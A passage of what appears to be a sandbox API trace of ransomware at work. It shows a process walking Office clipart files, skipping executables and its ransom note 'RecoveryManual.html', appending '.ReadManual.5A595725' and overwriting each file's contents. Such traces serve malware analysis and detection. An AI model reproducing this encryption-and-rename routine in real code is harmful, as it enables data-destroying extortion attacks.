Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ReadManual.5A595725" [0270.653] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ReadManual.5A595725") returned 87 [0270.653] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39132202285) returned 1 [0270.653] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf")) returned 0x20 [0270.654] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.654] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6232) returned 1 [0270.654] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1858, lpName=0x0) returned 0x184 [0270.654] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.659] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.659] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.663] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.663] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1858) returned 0x2f0000 [0270.663] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39133207119) returned 1 [0270.663] CloseHandle (hObject=0x184) returned 1 [0270.663] SetSecurityInfo () returned 0x57 [0270.664] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.664] CloseHandle (hObject=0x194) returned 1 [0270.664] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0270.664] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01158_.WMF" | out: lpString1="NA01158_.WMF") returned="NA01158_.WMF" [0270.664] lstrcmpiW (lpString1="NA01158_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.664] StrStrIW (lpFirst="NA01158_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.664] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.664] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.664] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" [0270.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ReadManual.5A595725" [0270.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ReadManual.5A595725") returned 87 [0270.664] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39133306579) returned 1 [0270.664] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf")) returned 0x20 [0270.665] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.665] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7284) returned 1 [0270.666] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c74, lpName=0x0) returned 0x184 [0270.666] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.666] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.666] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.668] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.668] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c74) returned 0x2f0000 [0270.668] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39133719664) returned 1 [0270.668] CloseHandle (hObject=0x184) returned 1 [0270.669] SetSecurityInfo () returned 0x57 [0270.669] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.669] CloseHandle (hObject=0x194) returned 1 [0270.669] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0270.669] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01161_.WMF" | out: lpString1="NA01161_.WMF") returned="NA01161_.WMF" [0270.669] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.669] StrStrIW (lpFirst="NA01161_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.669] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.669] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.669] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" [0270.669] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ReadManual.5A595725" [0270.669] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ReadManual.5A595725") returned 87 [0270.669] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39133824924) returned 1 [0270.670] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf")) returned 0x20 [0270.670] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.671] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5780) returned 1 [0270.671] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1694, lpName=0x0) returned 0x184 [0270.671] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.671] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.672] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.673] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.674] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1694) returned 0x2f0000 [0270.674] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.674] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39134259947) returned 1 [0270.674] CloseHandle (hObject=0x184) returned 1 [0270.674] SetSecurityInfo () returned 0x57 [0270.674] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.674] CloseHandle (hObject=0x194) returned 1 [0270.674] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0270.674] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01164_.WMF" | out: lpString1="NA01164_.WMF") returned="NA01164_.WMF" [0270.674] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.674] StrStrIW (lpFirst="NA01164_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.674] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.674] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.675] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.675] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" [0270.675] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ReadManual.5A595725" [0270.675] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ReadManual.5A595725") returned 87 [0270.675] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39134358630) returned 1 [0270.675] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf")) returned 0x20 [0270.675] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.675] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2564) returned 1 [0270.675] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa04, lpName=0x0) returned 0x184 [0270.676] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.676] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.676] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.678] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.678] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa04) returned 0x2f0000 [0270.678] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39134695431) returned 1 [0270.678] CloseHandle (hObject=0x184) returned 1 [0270.678] SetSecurityInfo () returned 0x57 [0270.678] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.678] CloseHandle (hObject=0x194) returned 1 [0270.679] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0270.679] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01293_.WMF" | out: lpString1="NA01293_.WMF") returned="NA01293_.WMF" [0270.679] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.679] StrStrIW (lpFirst="NA01293_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.679] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.679] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.679] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" [0270.679] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ReadManual.5A595725" [0270.679] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ReadManual.5A595725") returned 87 [0270.679] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39134794140) returned 1 [0270.679] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf")) returned 0x20 [0270.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.680] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28912) returned 1 [0270.680] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70f0, lpName=0x0) returned 0x184 [0270.680] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.681] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.681] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.683] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.683] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70f0) returned 0x2f0000 [0270.683] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.683] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39135201649) returned 1 [0270.683] CloseHandle (hObject=0x184) returned 1 [0270.683] SetSecurityInfo () returned 0x57 [0270.683] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.683] CloseHandle (hObject=0x194) returned 1 [0270.684] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0270.684] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01354_.WMF" | out: lpString1="NA01354_.WMF") returned="NA01354_.WMF" [0270.684] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.684] StrStrIW (lpFirst="NA01354_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.684] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.684] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.684] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" [0270.684] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ReadManual.5A595725" [0270.684] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ReadManual.5A595725") returned 87 [0270.684] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39135301915) returned 1 [0270.684] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf")) returned 0x20 [0270.685] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.685] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5806) returned 1 [0270.685] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16ae, lpName=0x0) returned 0x184 [0270.685] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.686] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.686] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, 